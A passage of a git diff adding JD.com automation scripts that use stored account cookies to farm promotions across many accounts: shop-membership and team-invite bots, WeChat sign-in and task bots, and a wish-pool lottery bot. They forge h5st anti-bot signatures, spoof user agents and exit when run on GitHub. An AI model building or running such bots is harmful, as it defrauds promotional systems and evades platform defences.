resolve(); + } else { + let url = `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent( + JSON.stringify({ + venderId: $.userId, + shopId: $.userId, + bindByVerifyCodeFlag: 1, + registerExtend: {}, + writeChildFlag: 0, + channel: $.channel, + }) + )}&client=H5&clientVersion=9.2.0&uuid=88888&jsonp=jsonp_${Date.now()}_${String( + Math.random() + ).slice(3, 8)}&h5st=20220614102046318%3B7327310984571307%3Bef79a%3Btk02wa31b1c7718neoZNHBp75rw4pE%2Fw7fXko2SdFCd1vIeWy005pEHdm0lw2CimWpaw3qc9il8r9xVLHp%2Bhzmo%2B4swg%3Bdd9526fc08234276b392435c8623f4a737e07d4503fab90bf2cd98d2a3a778ac%3B3.0%3B1655173246318`; + let referer = `https://shopmember.m.jd.com/shopcard/?venderId=${ + $.userId + }&shopId=${$.userId}&channel=${ + $.channel + }&returnUrl=${encodeURIComponent( + "https://lzkjdz-isv.isvjd.com/wxTeam/activity2/${activityId}?activityId=${activityId}c&adsource=cjhdc&isOpenCardBack=iocb" + )}`; + await jiaru(url, referer); + resolve(); + } + }); + } + + function jiaru(url, referer) { + return new Promise((resolve) => { + let options = { + url: url, + headers: { + Accept: "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Host: "api.m.jd.com", + Referer: referer, + Cookie: cookie, + "User-Agent": $.UA, + }, + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + "\x20入会\x20API请求失败,请检查网路重试"); + } else { + $.log(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + function getActMemberInfo() { + return new Promise((resolve) => { + let options = { + url: `https://lzkjdz-isv.isvjd.com/wxCommonInfo/getActMemberInfo`, + headers: { + cookie: + activityCookie + ";IsvToken=" + $.Token + ";AUTH_C_USER=" + $.Pin, + Connection: `keep-alive`, + "Accept-Encoding": `gzip, deflate, br`, + "Content-Type": `application/x-www-form-urlencoded; charset=UTF-8`, + Origin: `https://lzkj-isv.isvjd.com`, + "User-Agent": $.UA, + "Accept-Language": `zh-cn`, + Host: `lzkjdz-isv.isvjd.com`, + Referer: `https://lzkjdz-isv.isvjd.com/wxTeam/activity2/${activityId}?activityId=${activityId}&adsource=cjhdc&isOpenCardBack=iocb`, + Accept: `application/json, text/javascript, */*; q=0.01`, + }, + body: `venderId=${ + $.userId + }&activityId=${activityId}&pin=${encodeURIComponent($.Pin)}`, + }; + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + " 1 API请求失败,请检查网路重试"); + } else { + if (data && safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + if (data.data.openCard) return; + if (data.data.openCardUrl) { + $.channel = data.data.openCardUrl + .match(/channel=\d+/)[0] + .split("=")[1]; + } else { + console.log("店家不返回开卡地址。活动有问题。。"); + $.end = true; + return; + } + } else { + console.log("异常1:" + JSON.stringify(data)); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + function getUserInfo() { + return new Promise((resolve) => { + let body = `pin=${ + prefix === "cjhydz" + ? encodeURIComponent(encodeURIComponent($.Pin)) + : encodeURIComponent($.Pin) + }`; + $.post( + taskPostUrl("/wxActionCommon/getUserInfo", body), + async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + "\x206-1\x20API请求失败,请检查网路重试"); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + $.attrTouXiang = data.data.yunMidImageUrl + ? data.data.yunMidImageUrl + : "https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg"; + $.nickName = data.data.nickname; + } else { + console.log("异常6-2:" + JSON.stringify(data)); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); + } + + function joinTeam(count = 0x0) { + return new Promise((resolve) => { + let pin = encodeURIComponent($.Pin); + let hisPin = encodeURIComponent(encodeURIComponent($.his)); + if (count == 1) { + pin = encodeURIComponent(encodeURIComponent($.Pin)); + } + let body = `activityId=${activityId}&inviterNick=${encodeURIComponent( + $.hisNickName + )}&inviteeNick=${encodeURIComponent( + $.nickName + )}&inviter=${hisPin}&invitee=${pin}&inviterImg=${encodeURIComponent( + $.hisInviterImg + )}&inviteeImg=${encodeURIComponent($.attrTouXiang)}`; + $.post( + taskPostUrl("/microDz/invite/activity/wx/acceptInvite", body), + async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + "\x207\x20API请求失败,请检查网路重试"); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + message += "【京东账号" + $.index + "】 加入队伍\n"; + $.log("加入队伍成功"); + } else { + if ( + data.errorMessage.indexOf("店铺会员") > -1 && + count != 3 + ) { + await joinShop(); + await joinTeam(3); + } else if (data.errorMessage.indexOf("队伍已经满员") > -1) { + $.maxTeam = true; + } else if ( + data.errorMessage.indexOf("奖品与您擦肩而过") > -1 && + count == 0 + ) { + await joinTeam(1); + } else { + console.log("异常7:" + JSON.stringify(data)); + if (!data.data.rewardPoint) againUserIndex.push($.index); + if (data.errorMessage.includes("奖品发送完毕")) + process.exit(1); + message += + "【京东账号" + + $.index + + "】\x20" + + data.errorMessage + + "\x0a"; + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + } + ); + }); + } + + function getOpenCardAllStatuesNew() { + return new Promise((resolve) => { + let options = { + url: `https://cjhydz-isv.isvjcloud.com/microDz/invite/activity/wx/getOpenCardAllStatuesNew`, + headers: { + cookie: + activityCookie + ";IsvToken=" + $.Token + ";AUTH_C_USER=" + $.Pin, + Connection: `keep-alive`, + "Accept-Encoding": `gzip, deflate, br`, + "Content-Type": `application/x-www-form-urlencoded; charset=UTF-8`, + "User-Agent": $.UA, + "Accept-Language": `zh-cn`, + Referer: `https://cjhydz-isv.isvjcloud.com/microDz/invite/activity/wx/view/index?activityId=${activityId}`, + Accept: `application/json, text/javascript, */*; q=0.01`, + }, + body: `isInvited=1&activityId=${activityId}&pin=${encodeURIComponent( + encodeURIComponent($.Pin) + )}`, + }; + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + " 1 API请求失败,请检查网路重试"); + } else { + if (data && safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.isCanJoin) { + // console.log(data.data) + (data.data.list || []).forEach((v) => { + if (v.openCardLink) { + $.card.push(v.openCardLink); + } + }); + // console.log($.card) + } + } + } + } catch (e) { + // $.card = [ + // 'https://shopmember.m.jd.com/shopcard/?venderId=1000006644&shopId=1000006644&channel=8802', + // 'https://shopmember.m.jd.com/shopcard/?venderId=1000000192&shopId=1000000192&channel=8802', + // 'https://shopmember.m.jd.com/shopcard/?venderId=1000099547&shopId=1000099547&channel=8802' + // ] + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + function taskPostUrl(url, body) { + return { + url: "" + activityUrl + url, + body: body, + headers: { + Accept: "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Host: `${prefix}-isv.isvjcloud.com`, + Origin: `https://${prefix}-isv.isvjcloud.com`, + "Content-Type": "application/x-www-form-urlencoded", + Referer: + activityUrl + + "/microDz/invite/activity/wx/view/index?activityId=" + + activityId, + Cookie: + cookie + + activityCookie + + ";IsvToken=" + + $.Token + + ";AUTH_C_USER=" + + $.AUTH_C_USER, + "User-Agent": $.UA, + }, + }; + } + + function taskUrl(url, body) { + return { + url: "https://api.m.jd.com/client.action" + url, + body: body, + headers: { + Accept: "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + Host: "api.m.jd.com", + Cookie: cookie, + "User-Agent": $.UA, + }, + }; + } + + function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log("京东服务器访问数据为空,请检查自身设备网络情况"); + return false; + } + } + + function accessLog() { + return new Promise(async (resolve) => { + const options = { + url: `https://${prefix}-isv.isvjcloud.com/common/accessLog`, + headers: { + Accept: "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Host: `${prefix}-isv.isvjcloud.com`, + Origin: `https://${prefix}-isv.isvjcloud.com`, + "Content-Type": "application/x-www-form-urlencoded", + Referer: + activityUrl + + "/microDz/invite/activity/wx/view/index?activityId=" + + activityId, + Cookie: + cookie + + activityCookie + + ";IsvToken=" + + $.Token + + ";AUTH_C_USER=" + + $.AUTH_C_USER, + "User-Agent": $.UA, + }, + body: `venderId=1&code=99&pin=${encodeURIComponent( + encodeURIComponent($.Pin) + )}&activityId=${activityId}&pageUrl=https%3A%2F%2F${prefix}-isv.isvjcloud.com%2FmicroDz%2Finvite%2Factivity%2Fwx%2Fview%2Findex%3FactivityId%3D${activityId}&subType=app`, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("" + JSON.stringify(err)); + console.log($.name + "\x20API请求失败,请检查网路重试"); + } else { + // if (resp.status == 200) { + // refreshToken(resp); + // } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); + } + + function refreshToken(resp) { + // let cookies = resp.headers["set-cookie"]; + let cookies = resp && resp.headers && (resp.headers['set-cookie'] || resp.headers['Set-Cookie'] || '') || ''; + if (cookies) { + activityCookie = cookies + .map((v) => { + return v.split(";")[0]; + }) + .join(";"); + } + } + }); +} + +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } + +// ebe865a541a242d5bdc0c1f912add174 +// 152b6c5ae5b84a88a39a1dec34be2c11 这个还有打水 +// 1dd895c75bda49aeb47481ae404c58da +(async () => { + await openCardActivity( + "", + "https://cjhydz-isv.isvjcloud.com", + "", + 160, + [] + ); + console.log("开卡已完成!"); +})(); + +// module.exports = { joinTeam } \ No newline at end of file diff --git a/jd_wechat_sign.ts b/jd_wechat_sign.ts new file mode 100644 index 0000000..d62cb0b --- /dev/null +++ b/jd_wechat_sign.ts @@ -0,0 +1,43 @@ +/** + * 微信小程序签到红包 + * cron: 8 0 * * * + */ + +import {sendNotify} from './sendNotify' +import {post, requireConfig, wait} from './TS_USER_AGENTS' +import {H5ST} from "./utils/h5st" + +let cookie: string = '', res: any = '', UserName: string, msg: string = '', h5stTool: H5ST = new H5ST("9a38a", 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79 MicroMessenger/8.0.15(0x18000f2e) NetType/WIFI Language/zh_CN', "6468223550974529"); + +!(async () => { + let cookiesArr: string[] = await requireConfig() + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + + await h5stTool.__genAlgo() + let timestamp: number = Date.now() + let h5st: string = h5stTool.__genH5st({ + appid: 'hot_channel', + body: JSON.stringify({"activityId": "10002"}), + client: 'android', + clientVersion: '7.16.250', + functionId: 'SignComponent_doSignTask', + t: timestamp.toString(), + }) + res = await post(`https://api.m.jd.com/signTask/doSignTask?functionId=SignComponent_doSignTask&appid=hot_channel&body={"activityId":"10002"}&client=android&clientVersion=7.16.250&t=${timestamp}&h5st=${h5st}`, '', { + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79 MicroMessenger/8.0.15(0x18000f2e) NetType/WIFI Language/zh_CN', + 'referer': 'https://servicewechat.com/wx91d27dbf599dff74/581/page-frame.html', + 'cookie': cookie + }) + if (res.data) { + console.log('已签到', res.data.signDays, '天,奖励', res.data.rewardValue, '元') + msg += `【京东账号${index + 1}】 ${UserName}\n已签到 ${res.data.signDays}天\n奖励 ${res.data.rewardValue}元\n\n` + } else + console.log(res.message) + await wait(3000) + } + await sendNotify('微信小程序签到红包', msg) +})() \ No newline at end of file diff --git a/jd_wechat_zz.ts b/jd_wechat_zz.ts new file mode 100644 index 0000000..f28855d --- /dev/null +++ b/jd_wechat_zz.ts @@ -0,0 +1,32 @@ +/** + * 赚赚 + * cron: 30 9 * * * + */ + +import {requireConfig, wait, get, randomNumString} from './TS_USER_AGENTS' + +let cookie: string = '', UserName: string = '', res: any = '' + +!(async () => { + let cookiesArr: string[] = await requireConfig() + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + let headers: object = {'Host': 'api.m.jd.com', 'wqreferer': 'http://wq.jd.com/wxapp/pages/hd-interaction/task/index', 'User-Agent': 'MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1', 'Referer': 'https://servicewechat.com/wx8830763b00c18ac3/115/page-frame.html', 'Content-Type': 'application/json', 'Cookie': cookie} + + res = await get(`https://api.m.jd.com/client.action?functionId=interactTaskIndex&body=%7B%22mpVersion%22%3A%223.4.0%22%7D&appid=wh5&loginWQBiz=interact&g_ty=ls&g_tk=${randomNumString(9)}`, headers) + console.log(res.data.cashExpected) + + for (let t of res.data.taskDetailResList) { + if (t.times === 0) { + console.log(t.taskName) + let taskItem: object = {...t, "fullTaskName": `${t.taskName} (0/1)`, "btnText": "去完成"} + res = await get(`https://api.m.jd.com/client.action?functionId=doInteractTask&body=${encodeURIComponent(JSON.stringify({"taskId": t.taskId, "taskItem": taskItem, "actionType": 0, "taskToken": t.taskToken, "mpVersion": "3.4.0"}))}&appid=wh5&loginWQBiz=interact&g_ty=ls&g_tk=${randomNumString(9)}`, headers) + console.log(res.message) + await wait(2000) + } + } + await wait(2000) + } +})() \ No newline at end of file diff --git a/jd_wish.js b/jd_wish.js new file mode 100644 index 0000000..83f953e --- /dev/null +++ b/jd_wish.js @@ -0,0 +1,433 @@ +/* +众筹许愿池 +活动入口:京东-京东众筹-众筹许愿池 +40 0,2 * * * jd_wish.js +*/ +const $ = new Env('众筹许愿池'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let message = '', allMessage = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let appIdArr = ['1FFVQyqw','1EFRWxKuG', '1E1xZy6s']; +let appNameArr = ['1111点心动','许愿抽好礼', 'PLUS生活特权']; +let appId, appName; +$.shareCode = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + for (let j = 0; j < appIdArr.length; j++) { + appId = appIdArr[j] + appName = appNameArr[j] + console.log(`\n开始第${j + 1}个活动:${appName}\n`) + await jd_wish(); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage) + } + let res = await getAuthorShareCode('https://gitee.com/KingRan521/JD-Scripts/raw/master/shareCodes/wish.json') + $.shareCode = [...$.shareCode, ...(res || [])] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + console.log(`开始内部助力\n`) + for (let v = 0; v < appIdArr.length; v++) { + $.canHelp = true + appId = appIdArr[v] + appName = appNameArr[v] + console.log(`开始助力第${v + 1}个活动:${appName}\n`) + for (let j = 0; j < $.shareCode.length && $.canHelp; j++) { + if ($.shareCode[j].appId === appId) { + console.log(`${$.UserName} 去助力 ${$.shareCode[j].use} 的助力码 ${$.shareCode[j].code}`) + if ($.UserName == $.shareCode[j].use) { + console.log(`不能助力自己\n`) + continue + } + $.delcode = false + await harmony_collectScore({"appId":appId,"taskToken":$.shareCode[j].code,"actionType":"0","taskId":"6"}) + await $.wait(2000) + if ($.delcode) { + $.shareCode.splice(j, 1) + j-- + continue + } + } + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jd_wish() { + try { + await healthyDay_getHomeData(); + await $.wait(2000) + + let getHomeDataRes = (await healthyDay_getHomeData(false)).data.result.userInfo + let forNum = Math.floor(getHomeDataRes.userScore / getHomeDataRes.scorePerLottery) + await $.wait(2000) + + if (forNum === 0) { + console.log(`没有抽奖机会\n`) + } else { + console.log(`可以抽奖${forNum}次,去抽奖\n`) + } + + $.canLottery = true + for (let j = 0; j < forNum && $.canLottery; j++) { + await interact_template_getLotteryResult() + await $.wait(2000) + } + + } catch (e) { + $.logErr(e) + } +} + +async function healthyDay_getHomeData(type = true) { + return new Promise(async resolve => { + // console.log(taskUrl('healthyDay_getHomeData', { "appId": appId, "taskToken": "", "channelId": 1 })); + $.post(taskUrl('healthyDay_getHomeData', { "appId": appId, "taskToken": "", "channelId": 1 }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getHomeData API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data); + if (type) { + for (let key of Object.keys(data.data.result.hotTaskVos).reverse()) { + let vo = data.data.result.hotTaskVos[key] + if (vo.status !== 2) { + if (vo.taskType === 13 || vo.taskType === 12) { + console.log(`点击热区`) + await harmony_collectScore({ "appId": appId, "taskToken": vo.simpleRecordInfoVo.taskToken, "taskId": vo.taskId, "actionType": "0" }, vo.taskType) + } else { + console.log(`【${vo.taskName}】已完成\n`) + } + } + } + for (let key of Object.keys(data.data.result.taskVos).reverse()) { + let vo = data.data.result.taskVos[key] + if (vo.status !== 2) { + if (vo.taskType === 13 || vo.taskType === 12) { + console.log(`签到`) + await harmony_collectScore({ "appId": appId, "taskToken": vo.simpleRecordInfoVo.taskToken, "taskId": vo.taskId, "actionType": "0" }, vo.taskType) + } else if (vo.taskType === 1) { + for (let key of Object.keys(vo.followShopVo)) { + let followShopVo = vo.followShopVo[key] + if (followShopVo.status !== 2) { + console.log(`【${followShopVo.shopName}】${vo.subTitleName}`) + await harmony_collectScore({ "appId": appId, "taskToken": followShopVo.taskToken, "taskId": vo.taskId, "actionType": "0" }) + } + } + } else if (vo.taskType === 5) { + for (let key of Object.keys(vo.browseShopVo)) { + let browseShopVo = vo.browseShopVo[key] + if (browseShopVo.status !== 2) { + console.log(`【${browseShopVo.skuName}】${vo.subTitleName}`) + await harmony_collectScore({ "appId": appId, "taskToken": browseShopVo.taskToken, "taskId": vo.taskId, "actionType": "0" }) + } + } + } else if (vo.taskType === 15) { + for (let key of Object.keys(vo.productInfoVos)) { + let productInfoVos = vo.productInfoVos[key] + if (productInfoVos.status !== 2) { + console.log(`【${productInfoVos.skuName}】${vo.subTitleName}`) + await harmony_collectScore({ "appId": appId, "taskToken": productInfoVos.taskToken, "taskId": vo.taskId, "actionType": "0" }) + } + } + } else if (vo.taskType === 3) { + for (let key of Object.keys(vo.shoppingActivityVos)) { + let shoppingActivityVos = vo.shoppingActivityVos[key] + if (shoppingActivityVos.status !== 2) { + console.log(`【${vo.subTitleName}】`) + await harmony_collectScore({ "appId": appId, "taskToken": shoppingActivityVos.taskToken, "taskId": vo.taskId, "actionType": 